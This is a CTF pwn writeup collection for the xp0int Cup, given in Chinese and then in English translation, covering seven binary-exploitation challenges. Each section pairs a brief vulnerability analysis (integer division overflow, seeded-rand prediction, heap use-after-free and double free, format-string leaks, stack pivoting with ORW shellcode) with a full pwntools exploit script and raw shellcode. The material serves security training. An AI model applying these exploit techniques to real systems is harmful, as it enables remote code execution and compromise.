div_overflow
分析

没开 canary 和 PIE

init () 函数发现有一个 signal 绑定,
百度C 库函数 – signal () | 菜鸟教程 (runoob.com)


查看 glibc 源码可以发现,这个是将除零溢出错误信号绑定到 backdoor 函数上了(就是说触发这个信号,不会报错会直接跳转到对应函数运行)

backdoor 函数发现栈溢出漏洞
SIGFPE 信号的触发

main 函数过程中有一个除法运算,但需要 v4 不为 0 才能进入,那么就不能构造 1/0 的形式
由于计算机采用的是补码的表示方法,32 位机器位可以表示的有符号整数范围为 - 2147483648~2,147,483,647
发现构造 - 2147483648/-1=2147483648,会发生除法溢出,从而进入 backdoor
Exp
from pwn import *
io = process('./div_overflow')# io = remote('35.229.138.83',14056)
io.sendline('-2147483648')io.sendline('-1')
shell = 0x0004007C8
io.recvuntil('Hero, please leave your name :')p = 'a' * 0x58 + p64(shell)io.sendline(p)
io.interactive()guess

没有开 NX,存在 shellcode 执行

main 函数调用 game (),game () 是主要逻辑,大概意思就是需要预测随机数,首先会使用时间播种

然后随机生成 16 个字符,并存入 s 中
![]()
最后需要我们输入 16 字符和 s 进行校验,校验成功就可以进入 good () 函数

IDA 分析 good () 函数的时候报错,只能看汇编了

一通分析下来 good 函数就是 shellcode 后门,这样思路就很明确了,只需要预测随机数 + shellcode
预测随机数
从 Tover 那里学来的方法,在本地写一个 C 程序
#include<stdio.h>
int main() { int seed; setbuf(stdin ,0); setbuf(stdout, 0); while (1) { printf("seed>"); scanf("%d", &seed); srand(seed); printf("ans>"); for(int i = 0; i < 16; ++i) { printf("%d ", rand() % 255); } printf("\n"); }}然后在服务器运行的同时运行此程序,这样就可以设置相同的 seed,自然随机出来的数据就是相同的
shelldoe
Exp
from pwn import *
context.log_level='debug'rd = process('./rd')# io = process('./guess')io = remote('35.229.138.83', 16134)
def randchar(seed): rd.recvuntil('seed>') rd.sendline(str(seed)) rd.recvuntil('ans>') arr = rd.recvuntil(' \n', drop=True).split(' ') arr = list(map(int, arr)) arr = ''.join(map(chr, arr)) return arr
# print randchar(123456)io.sendlineafter('May I have your name : ', 'asdfg')io.recvuntil('Branch hat : Now I tell you the essence of this spell is ')inp = int(io.recvuntil('\n', drop=True))print inpp = randchar(inp)io.sendafter('Please enter the spell you understand : ', p)
p = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'io.recvuntil('loud')io.sendline(p)
io.interactive()H.E.A.P



堆题,libc 版本 2.27 存在 tcache bin

发现漏洞,free 之后没有将指针清空,利用之后可以任意地址写
Exp
from pwn import *
context.log_level='debug'io = remote('35.229.138.83', 11009)# io = process(['./ld-2.27.so', './chall'], env={'LD_PRELOAD':'./libc-2.27.so'})libc = ELF('./libc-2.27.so')
def add(idx, size): io.sendlineafter('Your choice >> ', '1') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size))
def free(idx): io.sendlineafter('Your choice >> ', '2') io.sendlineafter('Index: ', str(idx))
def show(idx): io.sendlineafter('Your choice >> ', '3') io.sendlineafter('Index: ', str(idx))
def edit(idx, content): io.sendlineafter('Your choice >> ', '4') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Content: ', content)
main_arena = 0x000003EBC40for i in range(8): add(i, 0x90)add(8, 0x90)
for i in range(8): free(7-i)
show(0) # 泄露main_arana地址io.recvuntil('Content: ')inp = u64(io.recvuntil('\n', drop=True).ljust(8,'\0'))libc_base = inp-96-main_arenaprint hex(libc_base)
ogg = [0x4f3d5,0x4f432,0x10a41c] # one gadgetedit(1, p64(libc_base + libc.sym['__free_hook'])) # 修改fd指针为__free_hook地址add(10, 0x90)add(11, 0x90) # 11号堆块在__free_hook位置edit(11, p64(ogg[1]+libc_base)) # 在__free_hook位置写入one gadget# gdb.attach(io)# add(12, 0x90)free(0) # 除法free函数,执行ogg
io.interactive()BasicMath


又有随机数,但这一次需要预测,直接利用 python eval () 计算结果就行,注意到有 16 个问题,当 i==15 是,会进入 last_problem 函数

貌似没有什么问题
再仔细观察就会发现,readint 返回的是 64 位有符号整型数

但进行校验的时候,取得是 v5 得高 32 位字节判断,所以只需要最后一次输入的数比较大就行

然后就是进入 gift 函数

发现有 leak 和溢出漏洞
Exp
from pwn import *
context.log_level='debug'io = remote('35.229.138.83',10874)# io = process(['./ld-2.27.so','./chall'], env={"LD_PRELOAD": './libc-2.27.so'})libc = ELF('./libc-2.27.so')
for i in range(15): io.recvuntil(']') inp = io.recvuntil(' = ?', drop=True) ans = eval(inp) io.sendline(str(ans))
io.recvuntil(' = ?')io.sendline('11111111111111')ogg = [0x4f3d5,0x4f432,0x10a41c]
# gdb.attach(io)print io.recv(8)canary = u64(io.recv(8).ljust(8, '\0')) # 泄露canarystack = u64(io.recv(8).ljust(8, '\0')) # 泄露栈地址func_base = u64(io.recv(8).ljust(8, '\0')) - 0x000000000000168A # 泄露函数加载地址io.recv(8 * 5)libc_base = u64(io.recv(8).ljust(8, '\0')) - 231 - libc.sym['__libc_start_main'] # 泄露libc基址print hex(canary)print hex(func_base)print hex(libc_base)pop_rdi = 0x00000001713 + func_baselibc.address = libc_base
p = p64(canary) + p64(0) + p64(pop_rdi+1) + p64(pop_rdi) + p64(stack) + p64(libc.sym['system']) + p64(0xdeadbeaf) + '/bin/sh\0'io.send(p)
io.interactive()easyheap


又是堆题,libc 版本 2.23 没有 tcache



似曾相识的 tea,这个题目构造貌似在那里见过?(难道是那个某省的第一届攻防大赛?)
tea 解密
本地写一个 c10udlnk 教我的 tea 解密脚本
#include <stdio.h>#include <stdint.h>void decrypt (uint32_t* v, uint32_t* k, uint32_t delta) { uint32_t v0=v[0], v1=v[1], sum=delta*32, i; /* set up */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1;}
int main(){ uint32_t c[2] = {0}; uint32_t k[4]; uint32_t del; memcpy((char*)k, "ggslggyzgghysdyy", sizeof(k));
scanf("%x %x %u", &c[0], &c[1], &del); decrypt(c, k, del); printf("%x %x\n", c[0], c[1]); return 0;}double free
free 函数

清零过程

会发现第 15 个块,会被 free 但不会清零
之后就是 fastbin 的 double free 攻击
Exp
from pwn import *context.log_level = 'debug'
def tea(c1, c2, de): c1 = hex(c1) c2 = hex(c2) teaio = process('./tea') teaio.sendline(c1 + ' ' + c2 + ' ' + str(de)) r = teaio.recvuntil('\n', drop=True).split(' ') return int(r[0], 16), int(r[1], 16)
io = remote('35.229.138.83',11967)# io = process(['./ld-2.23.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})libc = ELF('./libc.so')
io.recvuntil('Your secret key: ')d = int(io.recvuntil('\n', drop=True))io.recvuntil('My gift: ')s = io.recvuntil('\n').split(',')cc0, cc1 = int(s[0], 16), int(s[1], 16)p0, p1 = tea(cc0, cc1, d)io.recvuntil('Your gift: ')io.sendline(str(p0) + ',' + str(p1))
def add(idx, size, content): io.sendlineafter('choice >>', '1') io.sendlineafter('id: ', str(idx)) io.sendlineafter('size: ', str(size)) io.sendlineafter('content: ', content)
def free(): io.sendlineafter('choice >>', '2')
def show(): io.sendlineafter('choice >>', '1638') io.recvuntil('Your gift: ') return int(io.recvuntil('\n', drop=True), 16)
ogg = [0x45226,0x4527a,0xf03a4,0xf1247]libc.address = show() - libc.sym['puts']print hex(libc.address)
add(15, 0x60, 'aaa')free()add(13, 0x60, 'aaa') # 13位置地址 == 15位置地址add(14, 0x60, 'aaa') # 中间有一个绕过double free检查free()add(0, 0x60, p64(libc.sym['__malloc_hook']-0x23))add(1, 0x60, 'aaaa')add(2, 0x60, 'aaaa')add(3, 0x68, '\0'*19 + p64(libc.address + ogg[3]))# gdb.attach(io)io.sendlineafter('choice >>', '1')io.sendlineafter('id: ', '4')io.sendlineafter('size: ', '20')# free()
io.interactive()fastbin double free 利用方法见CTF pwn 题堆入门 — Fast bin_lifanxin 的博客 - CSDN 博客
gift


发现沙盒使用 seccomp-tools,查看发现 execve 函数被禁用了,也就是说不能调用 system、shellcode getshell 这些 getshell,解决方法 orw(open、read、write),原理就是 open 打开本地文件,read 读取进入内存,write 打印到屏幕


gift 函数发现有一个格式化字符串漏洞,可以泄露栈地址、libc 地址和函数加载地址

main 函数发现有一个栈溢出的漏洞,但只能覆盖返回地址,不能直接构造 ROP,但发现 name 在 bss 段,可以先在 name 函数中布置 rop,然后利用两次 leave;retn 劫持 rsp,实现栈迁移到 bss,执行在 name 中构造的 rop
ROP
rop 思路首先需要实现 orw,需要编写 shellcode
sc = asm(shellcraft.open('./flag'))sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30))sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30))然后需要调用 libc 中的 mprotect 函数,将 bss 段权限改为可读可写可执行,最后跳转到 shellcode 上
Exp
from pwn import *
context.log_level='debug'
context(arch='amd64')io = remote('35.229.138.83', 13789)# io = process(['./ld-2.27.so','./gift'], env={"LD_PRELOAD": './libc-2.27.so'})libc = ELF('./libc-2.27.so')elf = ELF('./gift')name = 0x0000000202060
# gdb.attach(io)io.recvuntil('this the gift for you.\n')io.send('%9$p-%19$p-%11$p')
io.recvuntil('0x')canary = int(io.recvuntil('-', drop=True), 16)
start_main = int(io.recvuntil('-', drop=True), 16)libc_base = start_main - 231 - libc.sym['__libc_start_main']print hex(libc_base)libc.address = libc_base
inp = int(io.recv(14), 16)print hex(inp)elf.address = inp - 0x000000B78 - 43print hex(elf.address)
pop_rdi = elf.address + 0x000000000000C73pop_rsi = libc_base + 0x0000000000023eeapop_rdx = libc_base + 0x0000000000001b96print hex(pop_rdi)print hex(pop_rsi)print hex(pop_rdx)print hex(libc.sym['system'])
sc = asm(shellcraft.open('./flag')) # open("./flag")sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30)) # read(3, buf, 0x30)sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30)) # write(1, buf, 0x30)print len(sc)print scprint libc.sym['mprotect']
p = scp += p64(0) + p64(pop_rdx) + p64(0x7) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdi) + p64((elf.address + name) & 0xffffffffff000) + p64(libc.sym['mprotect']) + p64(elf.address + name)print len(p)io.sendlineafter('please input your name:\n', p)
# gdb.attach(io)p = 'a' * (0x30 - 8) + p64(canary) + p64(elf.address + name + len(sc)) + p64(elf.address + 0x0000000C00)io.recvuntil('what do you want to say?\n')io.send(p)
io.interactive()# flag{gObabystack
异构 pwn 耶!

保护全关

发现有一个格式化字符串漏洞,可以泄露栈地址
查阅一番资料,并看汇编发现,arm 架构下 PC 也会存放在栈上,动态调试一番就可以算到偏移量

然后再 v6 中编写 shellcode,并跳转执行即可
from pwn import *
# io = process(['qemu-arm','-g','1234','./pwn'])# io = process(['qemu-arm','./pwn'])io = remote('35.229.138.83', 10008)
# gdb.attach(io)io.recvuntil('I am a repeater without any emotion.\n')io.send('%1$p')stack = int(io.recvuntil('Do you have any questions?', drop=True), 16)print hex(stack)
context(arch='arm')p = 'a' * 8 + p32(stack + 0x4 * 3) + asm(shellcraft.sh())io.sendline(p)
io.interactive()by Csome
!!! 暨南大学 xp0int 杯 wp 收集截止前禁止发送给暨南大学的同学,产生的后果由转发者承担!!!
Translate by Kimi-K3
div_overflow
Analysis

Canary and PIE are not enabled

In the init() function there is a signal binding,
I searched Baidu for C library function – signal() | Runoob (runoob.com)


Looking at the glibc source code, you can see that this binds the divide-by-zero overflow error signal to the backdoor function (that is, when this signal is triggered, no error is reported and execution jumps directly to the corresponding function)

The backdoor function has a stack overflow vulnerability
Triggering the SIGFPE signal

There is a division in the main function, but it requires v4 to be non-zero, so we cannot construct something like 1/0
Since computers use two’s complement representation, the range of signed integers on a 32-bit machine is -2147483648 to 2,147,483,647
We find that computing -2147483648 / -1 = 2147483648 causes a division overflow, which takes us into backdoor
Exp
from pwn import *
io = process('./div_overflow')# io = remote('35.229.138.83',14056)
io.sendline('-2147483648')io.sendline('-1')
shell = 0x0004007C8
io.recvuntil('Hero, please leave your name :')p = 'a' * 0x58 + p64(shell)io.sendline(p)
io.interactive()guess

NX is not enabled, so shellcode execution is possible

The main function calls game(), which contains the main logic. Roughly speaking, we need to predict random numbers; it first seeds with the current time

Then it randomly generates 16 characters and stores them in s
![]()
Finally, we need to input 16 characters to be checked against s; if the check succeeds, we can enter the good() function

IDA reported an error when analyzing the good() function, so we can only look at the assembly

After some analysis, the good function is just a shellcode backdoor, so the approach is clear: predict the random numbers + shellcode
Predicting the random numbers
This is a method I learned from Tover: write a local C program
#include<stdio.h>
int main() { int seed; setbuf(stdin ,0); setbuf(stdout, 0); while (1) { printf("seed>"); scanf("%d", &seed); srand(seed); printf("ans>"); for(int i = 0; i < 16; ++i) { printf("%d ", rand() % 255); } printf("\n"); }}Then run this program at the same time as the one on the server. This way we can set the same seed, and the generated random data will naturally be identical
shelldoe
Exp
from pwn import *
context.log_level='debug'rd = process('./rd')# io = process('./guess')io = remote('35.229.138.83', 16134)
def randchar(seed): rd.recvuntil('seed>') rd.sendline(str(seed)) rd.recvuntil('ans>') arr = rd.recvuntil(' \n', drop=True).split(' ') arr = list(map(int, arr)) arr = ''.join(map(chr, arr)) return arr
# print randchar(123456)io.sendlineafter('May I have your name : ', 'asdfg')io.recvuntil('Branch hat : Now I tell you the essence of this spell is ')inp = int(io.recvuntil('\n', drop=True))print inpp = randchar(inp)io.sendafter('Please enter the spell you understand : ', p)
p = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'io.recvuntil('loud')io.sendline(p)
io.interactive()H.E.A.P



A heap challenge; libc version 2.27, which has tcache bins

Found the vulnerability: the pointer is not cleared after free, which can be exploited for an arbitrary address write
Exp
from pwn import *
context.log_level='debug'io = remote('35.229.138.83', 11009)# io = process(['./ld-2.27.so', './chall'], env={'LD_PRELOAD':'./libc-2.27.so'})libc = ELF('./libc-2.27.so')
def add(idx, size): io.sendlineafter('Your choice >> ', '1') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size))
def free(idx): io.sendlineafter('Your choice >> ', '2') io.sendlineafter('Index: ', str(idx))
def show(idx): io.sendlineafter('Your choice >> ', '3') io.sendlineafter('Index: ', str(idx))
def edit(idx, content): io.sendlineafter('Your choice >> ', '4') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Content: ', content)
main_arena = 0x000003EBC40for i in range(8): add(i, 0x90)add(8, 0x90)
for i in range(8): free(7-i)
show(0) # leak the main_arena addressio.recvuntil('Content: ')inp = u64(io.recvuntil('\n', drop=True).ljust(8,'\0'))libc_base = inp-96-main_arenaprint hex(libc_base)
ogg = [0x4f3d5,0x4f432,0x10a41c] # one gadgetedit(1, p64(libc_base + libc.sym['__free_hook'])) # set the fd pointer to the __free_hook addressadd(10, 0x90)add(11, 0x90) # chunk 11 lands at __free_hookedit(11, p64(ogg[1]+libc_base)) # write the one gadget at __free_hook# gdb.attach(io)# add(12, 0x90)free(0) # trigger free, executing ogg
io.interactive()For the detailed exploitation method, see CTF pwn heap basics — Tcache bin_lifanxin’s blog - CSDN Blog
BasicMath


There are random numbers again, but this time we need to predict them. We can directly use Python’s eval() to compute the results. Note that there are 16 problems; when i==15, it enters the last_problem function

There seems to be no problem at first glance
But looking more closely, we find that readint returns a 64-bit signed integer

However, the check uses the upper 32 bits of v5 for comparison, so we just need the last input number to be large enough

Then we enter the gift function

We find a leak and an overflow vulnerability
Exp
from pwn import *
context.log_level='debug'io = remote('35.229.138.83',10874)# io = process(['./ld-2.27.so','./chall'], env={"LD_PRELOAD": './libc-2.27.so'})libc = ELF('./libc-2.27.so')
for i in range(15): io.recvuntil(']') inp = io.recvuntil(' = ?', drop=True) ans = eval(inp) io.sendline(str(ans))
io.recvuntil(' = ?')io.sendline('11111111111111')ogg = [0x4f3d5,0x4f432,0x10a41c]
# gdb.attach(io)print io.recv(8)canary = u64(io.recv(8).ljust(8, '\0')) # leak the canarystack = u64(io.recv(8).ljust(8, '\0')) # leak a stack addressfunc_base = u64(io.recv(8).ljust(8, '\0')) - 0x000000000000168A # leak the function load addressio.recv(8 * 5)libc_base = u64(io.recv(8).ljust(8, '\0')) - 231 - libc.sym['__libc_start_main'] # leak the libc base addressprint hex(canary)print hex(func_base)print hex(libc_base)pop_rdi = 0x00000001713 + func_baselibc.address = libc_base
p = p64(canary) + p64(0) + p64(pop_rdi+1) + p64(pop_rdi) + p64(stack) + p64(libc.sym['system']) + p64(0xdeadbeaf) + '/bin/sh\0'io.send(p)
io.interactive()easyheap


Another heap challenge; libc version 2.23, no tcache



This familiar-looking tea — haven’t I seen this challenge structure somewhere before? (Could it be that certain province’s first attack-defense competition?)
tea decryption
A tea decryption script written locally, which c10udlnk taught me
#include <stdio.h>#include <stdint.h>void decrypt (uint32_t* v, uint32_t* k, uint32_t delta) { uint32_t v0=v[0], v1=v[1], sum=delta*32, i; /* set up */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1;}
int main(){ uint32_t c[2] = {0}; uint32_t k[4]; uint32_t del; memcpy((char*)k, "ggslggyzgghysdyy", sizeof(k));
scanf("%x %x %u", &c[0], &c[1], &del); decrypt(c, k, del); printf("%x %x\n", c[0], c[1]); return 0;}double free
The free function

The zeroing process

You will find that chunk 15 gets freed but is not zeroed out
After that, it’s a fastbin double free attack
Exp
from pwn import *context.log_level = 'debug'
def tea(c1, c2, de): c1 = hex(c1) c2 = hex(c2) teaio = process('./tea') teaio.sendline(c1 + ' ' + c2 + ' ' + str(de)) r = teaio.recvuntil('\n', drop=True).split(' ') return int(r[0], 16), int(r[1], 16)
io = remote('35.229.138.83',11967)# io = process(['./ld-2.23.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})libc = ELF('./libc.so')
io.recvuntil('Your secret key: ')d = int(io.recvuntil('\n', drop=True))io.recvuntil('My gift: ')s = io.recvuntil('\n').split(',')cc0, cc1 = int(s[0], 16), int(s[1], 16)p0, p1 = tea(cc0, cc1, d)io.recvuntil('Your gift: ')io.sendline(str(p0) + ',' + str(p1))
def add(idx, size, content): io.sendlineafter('choice >>', '1') io.sendlineafter('id: ', str(idx)) io.sendlineafter('size: ', str(size)) io.sendlineafter('content: ', content)
def free(): io.sendlineafter('choice >>', '2')
def show(): io.sendlineafter('choice >>', '1638') io.recvuntil('Your gift: ') return int(io.recvuntil('\n', drop=True), 16)
ogg = [0x45226,0x4527a,0xf03a4,0xf1247]libc.address = show() - libc.sym['puts']print hex(libc.address)
add(15, 0x60, 'aaa')free()add(13, 0x60, 'aaa') # address at position 13 == address at position 15add(14, 0x60, 'aaa') # one chunk in between to bypass the double free checkfree()add(0, 0x60, p64(libc.sym['__malloc_hook']-0x23))add(1, 0x60, 'aaaa')add(2, 0x60, 'aaaa')add(3, 0x68, '\0'*19 + p64(libc.address + ogg[3]))# gdb.attach(io)io.sendlineafter('choice >>', '1')io.sendlineafter('id: ', '4')io.sendlineafter('size: ', '20')# free()
io.interactive()For the fastbin double free exploitation method, see CTF pwn heap basics — Fast bin_lifanxin’s blog - CSDN Blog
gift


We find there is a sandbox; checking with seccomp-tools reveals that the execve function is disabled, which means we can’t get a shell via system or shellcode. The workaround is orw (open, read, write): use open to open a local file, read to read it into memory, and write to print it to the screen


The gift function has a format string vulnerability, which can leak a stack address, a libc address, and the function load address

The main function has a stack overflow vulnerability, but it can only overwrite the return address, so we can’t directly build a ROP chain. However, we find that name is in the bss segment, so we can first place our ROP in the name function, then use two leave; retn sequences to hijack rsp, achieving stack pivoting to bss and executing the ROP constructed in name
ROP
The ROP idea is first to implement orw, which requires writing shellcode
sc = asm(shellcraft.open('./flag'))sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30))sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30))Then we need to call the mprotect function in libc to change the permissions of the bss segment to readable, writable, and executable, and finally jump to the shellcode
Exp
from pwn import *
context.log_level='debug'
context(arch='amd64')io = remote('35.229.138.83', 13789)# io = process(['./ld-2.27.so','./gift'], env={"LD_PRELOAD": './libc-2.27.so'})libc = ELF('./libc-2.27.so')elf = ELF('./gift')name = 0x0000000202060
# gdb.attach(io)io.recvuntil('this the gift for you.\n')io.send('%9$p-%19$p-%11$p')
io.recvuntil('0x')canary = int(io.recvuntil('-', drop=True), 16)
start_main = int(io.recvuntil('-', drop=True), 16)libc_base = start_main - 231 - libc.sym['__libc_start_main']print hex(libc_base)libc.address = libc_base
inp = int(io.recv(14), 16)print hex(inp)elf.address = inp - 0x000000B78 - 43print hex(elf.address)
pop_rdi = elf.address + 0x000000000000C73pop_rsi = libc_base + 0x0000000000023eeapop_rdx = libc_base + 0x0000000000001b96print hex(pop_rdi)print hex(pop_rsi)print hex(pop_rdx)print hex(libc.sym['system'])
sc = asm(shellcraft.open('./flag')) # open("./flag")sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30)) # read(3, buf, 0x30)sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30)) # write(1, buf, 0x30)print len(sc)print scprint libc.sym['mprotect']
p = scp += p64(0) + p64(pop_rdx) + p64(0x7) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdi) + p64((elf.address + name) & 0xffffffffff000) + p64(libc.sym['mprotect']) + p64(elf.address + name)print len(p)io.sendlineafter('please input your name:\n', p)
# gdb.attach(io)p = 'a' * (0x30 - 8) + p64(canary) + p64(elf.address + name + len(sc)) + p64(elf.address + 0x0000000C00)io.recvuntil('what do you want to say?\n')io.send(p)
io.interactive()# flag{gObabystack
A pwn challenge on a different architecture!

All protections are disabled

There is a format string vulnerability, which can leak a stack address
After consulting some resources and looking at the assembly, we find that on the ARM architecture the PC is also stored on the stack, so with some dynamic debugging we can compute the offset

Then we just write shellcode into v6 and jump to it for execution
from pwn import *
# io = process(['qemu-arm','-g','1234','./pwn'])# io = process(['qemu-arm','./pwn'])io = remote('35.229.138.83', 10008)
# gdb.attach(io)io.recvuntil('I am a repeater without any emotion.\n')io.send('%1$p')stack = int(io.recvuntil('Do you have any questions?', drop=True), 16)print hex(stack)
context(arch='arm')p = 'a' * 8 + p32(stack + 0x4 * 3) + asm(shellcraft.sh())io.sendline(p)
io.interactive()by Csome
!!!Do not send this writeup to students of Jinan University before the collection deadline for xp0int Cup writeups; the person who forwards it bears all consequences!!!